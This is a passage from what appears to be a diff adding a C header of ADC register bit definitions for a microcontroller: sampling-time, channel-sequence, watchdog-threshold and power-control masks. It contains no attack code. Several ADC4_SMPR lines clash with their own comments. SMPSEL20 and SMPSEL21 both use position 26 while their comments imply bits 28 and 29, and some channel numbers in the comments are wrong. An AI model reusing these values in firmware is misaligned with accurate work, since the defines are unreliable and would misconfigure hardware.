channel 11 sampling time selection */ +#define ADC4_SMPR_SMPSEL12_Pos (20UL) +#define ADC4_SMPR_SMPSEL12_Msk (0x1UL << ADC4_SMPR_SMPSEL12_Pos) /*!< 0x00100000 */ +#define ADC4_SMPR_SMPSEL12 ADC4_SMPR_SMPSEL12_Msk /*!< ADC4 channel 12 sampling time selection */ +#define ADC4_SMPR_SMPSEL13_Pos (21UL) +#define ADC4_SMPR_SMPSEL13_Msk (0x1UL << ADC4_SMPR_SMPSEL13_Pos) /*!< 0x00200000 */ +#define ADC4_SMPR_SMPSEL13 ADC4_SMPR_SMPSEL13_Msk /*!< ADC4 channel 13 sampling time selection */ +#define ADC4_SMPR_SMPSEL14_Pos (22UL) +#define ADC4_SMPR_SMPSEL14_Msk (0x1UL << ADC4_SMPR_SMPSEL14_Pos) /*!< 0x00400000 */ +#define ADC4_SMPR_SMPSEL14 ADC4_SMPR_SMPSEL14_Msk /*!< ADC4 channel 14 sampling time selection */ +#define ADC4_SMPR_SMPSEL15_Pos (23UL) +#define ADC4_SMPR_SMPSEL15_Msk (0x1UL << ADC4_SMPR_SMPSEL15_Pos) /*!< 0x00800000 */ +#define ADC4_SMPR_SMPSEL15 ADC4_SMPR_SMPSEL15_Msk /*!< ADC4 channel 15 sampling time selection */ +#define ADC4_SMPR_SMPSEL16_Pos (24UL) +#define ADC4_SMPR_SMPSEL16_Msk (0x1UL << ADC4_SMPR_SMPSEL16_Pos) /*!< 0x01000000 */ +#define ADC4_SMPR_SMPSEL16 ADC4_SMPR_SMPSEL16_Msk /*!< ADC4 channel 16 sampling time selection */ +#define ADC4_SMPR_SMPSEL17_Pos (25UL) +#define ADC4_SMPR_SMPSEL17_Msk (0x1UL << ADC4_SMPR_SMPSEL17_Pos) /*!< 0x02000000 */ +#define ADC4_SMPR_SMPSEL17 ADC4_SMPR_SMPSEL17_Msk /*!< ADC4 channel 17 sampling time selection */ +#define ADC4_SMPR_SMPSEL18_Pos (26UL) +#define ADC4_SMPR_SMPSEL18_Msk (0x1UL << ADC4_SMPR_SMPSEL18_Pos) /*!< 0x04000000 */ +#define ADC4_SMPR_SMPSEL18 ADC4_SMPR_SMPSEL18_Msk /*!< ADC4 channel 18 sampling time selection */ +#define ADC4_SMPR_SMPSEL19_Pos (27UL) +#define ADC4_SMPR_SMPSEL19_Msk (0x1UL << ADC4_SMPR_SMPSEL19_Pos) /*!< 0x08000000 */ +#define ADC4_SMPR_SMPSEL19 ADC4_SMPR_SMPSEL19_Msk /*!< ADC4 channel 19 sampling time selection */ +#define ADC4_SMPR_SMPSEL20_Pos (26UL) +#define ADC4_SMPR_SMPSEL20_Msk (0x1UL << ADC4_SMPR_SMPSEL20_Pos) /*!< 0x10000000 */ +#define ADC4_SMPR_SMPSEL20 ADC4_SMPR_SMPSEL20_Msk /*!< ADC4 channel 20 sampling time selection */ +#define ADC4_SMPR_SMPSEL21_Pos (26UL) +#define ADC4_SMPR_SMPSEL21_Msk (0x1UL << ADC4_SMPR_SMPSEL21_Pos) /*!< 0x20000000 */ +#define ADC4_SMPR_SMPSEL21 ADC4_SMPR_SMPSEL21_Msk /*!< ADC4 channel 20 sampling time selection */ +#define ADC4_SMPR_SMPSEL22_Pos (30UL) +#define ADC4_SMPR_SMPSEL22_Msk (0x1UL << ADC4_SMPR_SMPSEL22_Pos) /*!< 0x40000000 */ +#define ADC4_SMPR_SMPSEL22 ADC4_SMPR_SMPSEL22_Msk /*!< ADC4 channel 21 sampling time selection */ +#define ADC4_SMPR_SMPSEL23_Pos (31UL) +#define ADC4_SMPR_SMPSEL23_Msk (0x1UL << ADC4_SMPR_SMPSEL23_Pos) /*!< 0x80000000 */ +#define ADC4_SMPR_SMPSEL23 ADC4_SMPR_SMPSEL23_Msk /*!< ADC4 channel 23 sampling time selection */ + +/******************** Bit definition for ADC_SMPR2 register ********************/ +#define ADC_SMPR2_SMP10_Pos (0UL) +#define ADC_SMPR2_SMP10_Msk (0x7UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000007 */ +#define ADC_SMPR2_SMP10 ADC_SMPR2_SMP10_Msk /*!< ADC Channel 10 Sampling time selection */ +#define ADC_SMPR2_SMP10_0 (0x1UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000001 */ +#define ADC_SMPR2_SMP10_1 (0x2UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000002 */ +#define ADC_SMPR2_SMP10_2 (0x4UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR2_SMP11_Pos (3UL) +#define ADC_SMPR2_SMP11_Msk (0x7UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000038 */ +#define ADC_SMPR2_SMP11 ADC_SMPR2_SMP11_Msk /*!< ADC Channel 11 Sampling time selection */ +#define ADC_SMPR2_SMP11_0 (0x1UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000008 */ +#define ADC_SMPR2_SMP11_1 (0x2UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000010 */ +#define ADC_SMPR2_SMP11_2 (0x4UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR2_SMP12_Pos (6UL) +#define ADC_SMPR2_SMP12_Msk (0x7UL << ADC_SMPR2_SMP12_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR2_SMP12 ADC_SMPR2_SMP12_Msk /*!< ADC Channel 12 Sampling time selection */ +#define ADC_SMPR2_SMP12_0 (0x1UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000040 */ +#define ADC_SMPR2_SMP12_1 (0x2UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000080 */ +#define ADC_SMPR2_SMP12_2 (0x4UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR2_SMP13_Pos (9UL) +#define ADC_SMPR2_SMP13_Msk (0x7UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR2_SMP13 ADC_SMPR2_SMP13_Msk /*!< ADC Channel 13 Sampling time selection */ +#define ADC_SMPR2_SMP13_0 (0x1UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000200 */ +#define ADC_SMPR2_SMP13_1 (0x2UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000400 */ +#define ADC_SMPR2_SMP13_2 (0x4UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR2_SMP14_Pos (12UL) +#define ADC_SMPR2_SMP14_Msk (0x7UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00007000 */ +#define ADC_SMPR2_SMP14 ADC_SMPR2_SMP14_Msk /*!< ADC Channel 14 Sampling time selection */ +#define ADC_SMPR2_SMP14_0 (0x1UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00001000 */ +#define ADC_SMPR2_SMP14_1 (0x2UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00002000 */ +#define ADC_SMPR2_SMP14_2 (0x4UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR2_SMP15_Pos (15UL) +#define ADC_SMPR2_SMP15_Msk (0x7UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00038000 */ +#define ADC_SMPR2_SMP15 ADC_SMPR2_SMP15_Msk /*!< ADC Channel 15 Sampling time selection */ +#define ADC_SMPR2_SMP15_0 (0x1UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00008000 */ +#define ADC_SMPR2_SMP15_1 (0x2UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00010000 */ +#define ADC_SMPR2_SMP15_2 (0x4UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR2_SMP16_Pos (18UL) +#define ADC_SMPR2_SMP16_Msk (0x7UL << ADC_SMPR2_SMP16_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR2_SMP16 ADC_SMPR2_SMP16_Msk /*!< ADC Channel 16 Sampling time selection */ +#define ADC_SMPR2_SMP16_0 (0x1UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00040000 */ +#define ADC_SMPR2_SMP16_1 (0x2UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00080000 */ +#define ADC_SMPR2_SMP16_2 (0x4UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR2_SMP17_Pos (21UL) +#define ADC_SMPR2_SMP17_Msk (0x7UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR2_SMP17 ADC_SMPR2_SMP17_Msk /*!< ADC Channel 17 Sampling time selection */ +#define ADC_SMPR2_SMP17_0 (0x1UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00200000 */ +#define ADC_SMPR2_SMP17_1 (0x2UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00400000 */ +#define ADC_SMPR2_SMP17_2 (0x4UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR2_SMP18_Pos (24UL) +#define ADC_SMPR2_SMP18_Msk (0x7UL << ADC_SMPR2_SMP18_Pos) /*!< 0x07000000 */ +#define ADC_SMPR2_SMP18 ADC_SMPR2_SMP18_Msk /*!< ADC Channel 18 Sampling time selection */ +#define ADC_SMPR2_SMP18_0 (0x1UL << ADC_SMPR2_SMP18_Pos) /*!< 0x01000000 */ +#define ADC_SMPR2_SMP18_1 (0x2UL << ADC_SMPR2_SMP18_Pos) /*!< 0x02000000 */ +#define ADC_SMPR2_SMP18_2 (0x4UL << ADC_SMPR2_SMP18_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR2_SMP19_Pos (27UL) +#define ADC_SMPR2_SMP19_Msk (0x7UL << ADC_SMPR2_SMP19_Pos) /*!< 0x38000000 */ +#define ADC_SMPR2_SMP19 ADC_SMPR2_SMP19_Msk /*!< ADC Channel 19 Sampling time selection */ +#define ADC_SMPR2_SMP19_0 (0x1UL << ADC_SMPR2_SMP19_Pos) /*!< 0x08000000 */ +#define ADC_SMPR2_SMP19_1 (0x2UL << ADC_SMPR2_SMP19_Pos) /*!< 0x10000000 */ +#define ADC_SMPR2_SMP19_2 (0x4UL << ADC_SMPR2_SMP19_Pos) /*!< 0x20000000 */ + +/******************** Bit definition for ADC_PCSEL register ********************/ +#define ADC_PCSEL_PCSEL_Pos (0UL) +#define ADC_PCSEL_PCSEL_Msk (0xFFFFFUL << ADC_PCSEL_PCSEL_Pos) /*!< 0x000FFFFF */ +#define ADC_PCSEL_PCSEL ADC_PCSEL_PCSEL_Msk /*!< ADC pre channel selection */ +#define ADC_PCSEL_PCSEL_0 (0x00001UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000001 */ +#define ADC_PCSEL_PCSEL_1 (0x00002UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000002 */ +#define ADC_PCSEL_PCSEL_2 (0x00004UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000004 */ +#define ADC_PCSEL_PCSEL_3 (0x00008UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000008 */ +#define ADC_PCSEL_PCSEL_4 (0x00010UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000010 */ +#define ADC_PCSEL_PCSEL_5 (0x00020UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000020 */ +#define ADC_PCSEL_PCSEL_6 (0x00040UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000040 */ +#define ADC_PCSEL_PCSEL_7 (0x00080UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000080 */ +#define ADC_PCSEL_PCSEL_8 (0x00100UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000100 */ +#define ADC_PCSEL_PCSEL_9 (0x00200UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000200 */ +#define ADC_PCSEL_PCSEL_10 (0x00400UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000400 */ +#define ADC_PCSEL_PCSEL_11 (0x00800UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000800 */ +#define ADC_PCSEL_PCSEL_12 (0x01000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00001000 */ +#define ADC_PCSEL_PCSEL_13 (0x02000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00002000 */ +#define ADC_PCSEL_PCSEL_14 (0x04000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00004000 */ +#define ADC_PCSEL_PCSEL_15 (0x08000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00008000 */ +#define ADC_PCSEL_PCSEL_16 (0x10000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00010000 */ +#define ADC_PCSEL_PCSEL_17 (0x20000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00020000 */ +#define ADC_PCSEL_PCSEL_18 (0x40000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00040000 */ +#define ADC_PCSEL_PCSEL_19 (0x80000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00080000 */ + +/***************** Bit definition for ADC_LTR1, 2, 3 registers *****************/ +#define ADC_LTR_LT_Pos (0UL) +#define ADC_LTR_LT_Msk (0x01FFFFFFUL << ADC_LTR_LT_Pos) /*!< 0x01FFFFFF */ +#define ADC_LTR_LT ADC_LTR_LT_Msk /*!< ADC Analog watchdog 1, 2 and 3 lower threshold */ + +/***************** Bit definition for ADC_HTR1, 2, 3 registers ****************/ +#define ADC_HTR_HT_Pos (0UL) +#define ADC_HTR_HT_Msk (0x01FFFFFFUL << ADC_HTR_HT_Pos) /*!< 0x01FFFFFF */ +#define ADC_HTR_HT ADC_HTR_HT_Msk /*!< ADC Analog watchdog 1,2 and 3 higher threshold */ + +#define ADC_HTR_AWDFILT_Pos (29UL) +#define ADC_HTR_AWDFILT_Msk (0x7UL << ADC_HTR_AWDFILT_Pos) /*!< 0xE0000000 */ +#define ADC_HTR_AWDFILT ADC_HTR_AWDFILT_Msk /*!< Analog watchdog filtering parameter, HTR1 only */ +#define ADC_HTR_AWDFILT_0 (0x1UL << ADC_HTR_AWDFILT_Pos) /*!< 0x20000000 */ +#define ADC_HTR_AWDFILT_1 (0x2UL << ADC_HTR_AWDFILT_Pos) /*!< 0x40000000 */ +#define ADC_HTR_AWDFILT_2 (0x4UL << ADC_HTR_AWDFILT_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_SQR1 register ********************/ +#define ADC_SQR1_L_Pos (0UL) +#define ADC_SQR1_L_Msk (0xFUL << ADC_SQR1_L_Pos) /*!< 0x0000000F */ +#define ADC_SQR1_L ADC_SQR1_L_Msk /*!< ADC regular channel sequence length */ +#define ADC_SQR1_L_0 (0x1UL << ADC_SQR1_L_Pos) /*!< 0x00000001 */ +#define ADC_SQR1_L_1 (0x2UL << ADC_SQR1_L_Pos) /*!< 0x00000002 */ +#define ADC_SQR1_L_2 (0x4UL << ADC_SQR1_L_Pos) /*!< 0x00000004 */ +#define ADC_SQR1_L_3 (0x8UL << ADC_SQR1_L_Pos) /*!< 0x00000008 */ + +#define ADC_SQR1_SQ1_Pos (6UL) +#define ADC_SQR1_SQ1_Msk (0x1FUL << ADC_SQR1_SQ1_Pos) /*!< 0x000007C0 */ +#define ADC_SQR1_SQ1 ADC_SQR1_SQ1_Msk /*!< ADC 1st conversion in regular sequence */ +#define ADC_SQR1_SQ1_0 (0x01UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000040 */ +#define ADC_SQR1_SQ1_1 (0x02UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000080 */ +#define ADC_SQR1_SQ1_2 (0x04UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000100 */ +#define ADC_SQR1_SQ1_3 (0x08UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000200 */ +#define ADC_SQR1_SQ1_4 (0x10UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000400 */ + +#define ADC_SQR1_SQ2_Pos (12UL) +#define ADC_SQR1_SQ2_Msk (0x1FUL << ADC_SQR1_SQ2_Pos) /*!< 0x0001F000 */ +#define ADC_SQR1_SQ2 ADC_SQR1_SQ2_Msk /*!< ADC 2nd conversion in regular sequence */ +#define ADC_SQR1_SQ2_0 (0x01UL << ADC_SQR1_SQ2_Pos) /*!< 0x00001000 */ +#define ADC_SQR1_SQ2_1 (0x02UL << ADC_SQR1_SQ2_Pos) /*!< 0x00002000 */ +#define ADC_SQR1_SQ2_2 (0x04UL << ADC_SQR1_SQ2_Pos) /*!< 0x00004000 */ +#define ADC_SQR1_SQ2_3 (0x08UL << ADC_SQR1_SQ2_Pos) /*!< 0x00008000 */ +#define ADC_SQR1_SQ2_4 (0x10UL << ADC_SQR1_SQ2_Pos) /*!< 0x00010000 */ + +#define ADC_SQR1_SQ3_Pos (18UL) +#define ADC_SQR1_SQ3_Msk (0x1FUL << ADC_SQR1_SQ3_Pos) /*!< 0x007C0000 */ +#define ADC_SQR1_SQ3 ADC_SQR1_SQ3_Msk /*!< ADC 3rd conversion in regular sequence */ +#define ADC_SQR1_SQ3_0 (0x01UL << ADC_SQR1_SQ3_Pos) /*!< 0x00040000 */ +#define ADC_SQR1_SQ3_1 (0x02UL << ADC_SQR1_SQ3_Pos) /*!< 0x00080000 */ +#define ADC_SQR1_SQ3_2 (0x04UL << ADC_SQR1_SQ3_Pos) /*!< 0x00100000 */ +#define ADC_SQR1_SQ3_3 (0x08UL << ADC_SQR1_SQ3_Pos) /*!< 0x00200000 */ +#define ADC_SQR1_SQ3_4 (0x10UL << ADC_SQR1_SQ3_Pos) /*!< 0x00400000 */ + +#define ADC_SQR1_SQ4_Pos (24UL) +#define ADC_SQR1_SQ4_Msk (0x1FUL << ADC_SQR1_SQ4_Pos) /*!< 0x1F000000 */ +#define ADC_SQR1_SQ4 ADC_SQR1_SQ4_Msk /*!< ADC 4th conversion in regular sequence */ +#define ADC_SQR1_SQ4_0 (0x01UL << ADC_SQR1_SQ4_Pos) /*!< 0x01000000 */ +#define ADC_SQR1_SQ4_1 (0x02UL << ADC_SQR1_SQ4_Pos) /*!< 0x02000000 */ +#define ADC_SQR1_SQ4_2 (0x04UL << ADC_SQR1_SQ4_Pos) /*!< 0x04000000 */ +#define ADC_SQR1_SQ4_3 (0x08UL << ADC_SQR1_SQ4_Pos) /*!< 0x08000000 */ +#define ADC_SQR1_SQ4_4 (0x10UL << ADC_SQR1_SQ4_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR2 register ********************/ +#define ADC_SQR2_SQ5_Pos (0UL) +#define ADC_SQR2_SQ5_Msk (0x1FUL << ADC_SQR2_SQ5_Pos) /*!< 0x0000001F */ +#define ADC_SQR2_SQ5 ADC_SQR2_SQ5_Msk /*!< ADC 5th conversion in regular sequence */ +#define ADC_SQR2_SQ5_0 (0x01UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000001 */ +#define ADC_SQR2_SQ5_1 (0x02UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000002 */ +#define ADC_SQR2_SQ5_2 (0x04UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000004 */ +#define ADC_SQR2_SQ5_3 (0x08UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000008 */ +#define ADC_SQR2_SQ5_4 (0x10UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000010 */ + +#define ADC_SQR2_SQ6_Pos (6UL) +#define ADC_SQR2_SQ6_Msk (0x1FUL << ADC_SQR2_SQ6_Pos) /*!< 0x000007C0 */ +#define ADC_SQR2_SQ6 ADC_SQR2_SQ6_Msk /*!< ADC 6th conversion in regular sequence */ +#define ADC_SQR2_SQ6_0 (0x01UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000040 */ +#define ADC_SQR2_SQ6_1 (0x02UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000080 */ +#define ADC_SQR2_SQ6_2 (0x04UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000100 */ +#define ADC_SQR2_SQ6_3 (0x08UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000200 */ +#define ADC_SQR2_SQ6_4 (0x10UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000400 */ + +#define ADC_SQR2_SQ7_Pos (12UL) +#define ADC_SQR2_SQ7_Msk (0x1FUL << ADC_SQR2_SQ7_Pos) /*!< 0x0001F000 */ +#define ADC_SQR2_SQ7 ADC_SQR2_SQ7_Msk /*!< ADC 7th conversion in regular sequence */ +#define ADC_SQR2_SQ7_0 (0x01UL << ADC_SQR2_SQ7_Pos) /*!< 0x00001000 */ +#define ADC_SQR2_SQ7_1 (0x02UL << ADC_SQR2_SQ7_Pos) /*!< 0x00002000 */ +#define ADC_SQR2_SQ7_2 (0x04UL << ADC_SQR2_SQ7_Pos) /*!< 0x00004000 */ +#define ADC_SQR2_SQ7_3 (0x08UL << ADC_SQR2_SQ7_Pos) /*!< 0x00008000 */ +#define ADC_SQR2_SQ7_4 (0x10UL << ADC_SQR2_SQ7_Pos) /*!< 0x00010000 */ + +#define ADC_SQR2_SQ8_Pos (18UL) +#define ADC_SQR2_SQ8_Msk (0x1FUL << ADC_SQR2_SQ8_Pos) /*!< 0x007C0000 */ +#define ADC_SQR2_SQ8 ADC_SQR2_SQ8_Msk /*!< ADC 8th conversion in regular sequence */ +#define ADC_SQR2_SQ8_0 (0x01UL << ADC_SQR2_SQ8_Pos) /*!< 0x00040000 */ +#define ADC_SQR2_SQ8_1 (0x02UL << ADC_SQR2_SQ8_Pos) /*!< 0x00080000 */ +#define ADC_SQR2_SQ8_2 (0x04UL << ADC_SQR2_SQ8_Pos) /*!< 0x00100000 */ +#define ADC_SQR2_SQ8_3 (0x08UL << ADC_SQR2_SQ8_Pos) /*!< 0x00200000 */ +#define ADC_SQR2_SQ8_4 (0x10UL << ADC_SQR2_SQ8_Pos) /*!< 0x00400000 */ + +#define ADC_SQR2_SQ9_Pos (24UL) +#define ADC_SQR2_SQ9_Msk (0x1FUL << ADC_SQR2_SQ9_Pos) /*!< 0x1F000000 */ +#define ADC_SQR2_SQ9 ADC_SQR2_SQ9_Msk /*!< ADC 9th conversion in regular sequence */ +#define ADC_SQR2_SQ9_0 (0x01UL << ADC_SQR2_SQ9_Pos) /*!< 0x01000000 */ +#define ADC_SQR2_SQ9_1 (0x02UL << ADC_SQR2_SQ9_Pos) /*!< 0x02000000 */ +#define ADC_SQR2_SQ9_2 (0x04UL << ADC_SQR2_SQ9_Pos) /*!< 0x04000000 */ +#define ADC_SQR2_SQ9_3 (0x08UL << ADC_SQR2_SQ9_Pos) /*!< 0x08000000 */ +#define ADC_SQR2_SQ9_4 (0x10UL << ADC_SQR2_SQ9_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR3 register ********************/ +#define ADC_SQR3_SQ10_Pos (0UL) +#define ADC_SQR3_SQ10_Msk (0x1FUL << ADC_SQR3_SQ10_Pos) /*!< 0x0000001F */ +#define ADC_SQR3_SQ10 ADC_SQR3_SQ10_Msk /*!< ADC 10th conversion in regular sequence */ +#define ADC_SQR3_SQ10_0 (0x01UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000001 */ +#define ADC_SQR3_SQ10_1 (0x02UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000002 */ +#define ADC_SQR3_SQ10_2 (0x04UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000004 */ +#define ADC_SQR3_SQ10_3 (0x08UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000008 */ +#define ADC_SQR3_SQ10_4 (0x10UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000010 */ + +#define ADC_SQR3_SQ11_Pos (6UL) +#define ADC_SQR3_SQ11_Msk (0x1FUL << ADC_SQR3_SQ11_Pos) /*!< 0x000007C0 */ +#define ADC_SQR3_SQ11 ADC_SQR3_SQ11_Msk /*!< ADC 11th conversion in regular sequence */ +#define ADC_SQR3_SQ11_0 (0x01UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000040 */ +#define ADC_SQR3_SQ11_1 (0x02UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000080 */ +#define ADC_SQR3_SQ11_2 (0x04UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000100 */ +#define ADC_SQR3_SQ11_3 (0x08UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000200 */ +#define ADC_SQR3_SQ11_4 (0x10UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000400 */ + +#define ADC_SQR3_SQ12_Pos (12UL) +#define ADC_SQR3_SQ12_Msk (0x1FUL << ADC_SQR3_SQ12_Pos) /*!< 0x0001F000 */ +#define ADC_SQR3_SQ12 ADC_SQR3_SQ12_Msk /*!< ADC 12th conversion in regular sequence */ +#define ADC_SQR3_SQ12_0 (0x01UL << ADC_SQR3_SQ12_Pos) /*!< 0x00001000 */ +#define ADC_SQR3_SQ12_1 (0x02UL << ADC_SQR3_SQ12_Pos) /*!< 0x00002000 */ +#define ADC_SQR3_SQ12_2 (0x04UL << ADC_SQR3_SQ12_Pos) /*!< 0x00004000 */ +#define ADC_SQR3_SQ12_3 (0x08UL << ADC_SQR3_SQ12_Pos) /*!< 0x00008000 */ +#define ADC_SQR3_SQ12_4 (0x10UL << ADC_SQR3_SQ12_Pos) /*!< 0x00010000 */ + +#define ADC_SQR3_SQ13_Pos (18UL) +#define ADC_SQR3_SQ13_Msk (0x1FUL << ADC_SQR3_SQ13_Pos) /*!< 0x007C0000 */ +#define ADC_SQR3_SQ13 ADC_SQR3_SQ13_Msk /*!< ADC 13th conversion in regular sequence */ +#define ADC_SQR3_SQ13_0 (0x01UL << ADC_SQR3_SQ13_Pos) /*!< 0x00040000 */ +#define ADC_SQR3_SQ13_1 (0x02UL << ADC_SQR3_SQ13_Pos) /*!< 0x00080000 */ +#define ADC_SQR3_SQ13_2 (0x04UL << ADC_SQR3_SQ13_Pos) /*!< 0x00100000 */ +#define ADC_SQR3_SQ13_3 (0x08UL << ADC_SQR3_SQ13_Pos) /*!< 0x00200000 */ +#define ADC_SQR3_SQ13_4 (0x10UL << ADC_SQR3_SQ13_Pos) /*!< 0x00400000 */ + +#define ADC_SQR3_SQ14_Pos (24UL) +#define ADC_SQR3_SQ14_Msk (0x1FUL << ADC_SQR3_SQ14_Pos) /*!< 0x1F000000 */ +#define ADC_SQR3_SQ14 ADC_SQR3_SQ14_Msk /*!< ADC 14th conversion in regular sequence */ +#define ADC_SQR3_SQ14_0 (0x01UL << ADC_SQR3_SQ14_Pos) /*!< 0x01000000 */ +#define ADC_SQR3_SQ14_1 (0x02UL << ADC_SQR3_SQ14_Pos) /*!< 0x02000000 */ +#define ADC_SQR3_SQ14_2 (0x04UL << ADC_SQR3_SQ14_Pos) /*!< 0x04000000 */ +#define ADC_SQR3_SQ14_3 (0x08UL << ADC_SQR3_SQ14_Pos) /*!< 0x08000000 */ +#define ADC_SQR3_SQ14_4 (0x10UL << ADC_SQR3_SQ14_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR4 register ********************/ +#define ADC_SQR4_SQ15_Pos (0UL) +#define ADC_SQR4_SQ15_Msk (0x1FUL << ADC_SQR4_SQ15_Pos) /*!< 0x0000001F */ +#define ADC_SQR4_SQ15 ADC_SQR4_SQ15_Msk /*!< ADC 15th conversion in regular sequence */ +#define ADC_SQR4_SQ15_0 (0x01UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000001 */ +#define ADC_SQR4_SQ15_1 (0x02UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000002 */ +#define ADC_SQR4_SQ15_2 (0x04UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000004 */ +#define ADC_SQR4_SQ15_3 (0x08UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000008 */ +#define ADC_SQR4_SQ15_4 (0x10UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000010 */ + +#define ADC_SQR4_SQ16_Pos (6UL) +#define ADC_SQR4_SQ16_Msk (0x1FUL << ADC_SQR4_SQ16_Pos) /*!< 0x000007C0 */ +#define ADC_SQR4_SQ16 ADC_SQR4_SQ16_Msk /*!< ADC 16th conversion in regular sequence */ +#define ADC_SQR4_SQ16_0 (0x01UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000040 */ +#define ADC_SQR4_SQ16_1 (0x02UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000080 */ +#define ADC_SQR4_SQ16_2 (0x04UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000100 */ +#define ADC_SQR4_SQ16_3 (0x08UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000200 */ +#define ADC_SQR4_SQ16_4 (0x10UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000400 */ +/******************** Bit definition for ADC_DR register ********************/ +#define ADC_DR_RDATA_Pos (0UL) +#define ADC_DR_RDATA_Msk (0xFFFFFFFFUL << ADC_DR_RDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_DR_RDATA ADC_DR_RDATA_Msk /*!< ADC regular Data converted */ + +/******************** Bit definition for ADC_PW register ********************/ +#define ADC4_PWRR_AUTOFF_Pos (0UL) +#define ADC4_PWRR_AUTOFF_Msk (0x1UL << ADC4_PWRR_AUTOFF_Pos) /*!< 0x00000001 */ +#define ADC4_PWRR_AUTOFF ADC4_PWRR_AUTOFF_Msk /*!< ADC Auto-Off mode */ +#define ADC4_PWRR_DPD_Pos (1UL) +#define ADC4_PWRR_DPD_Msk (0x1UL << ADC4_PWRR_DPD_Pos) /*!< 0x00000002 */ +#define ADC4_PWRR_DPD ADC4_PWRR_DPD_Msk /*!< ADC Deep Power mode */ +#define ADC4_PWRR_VREFPROT_Pos (2UL) +#define 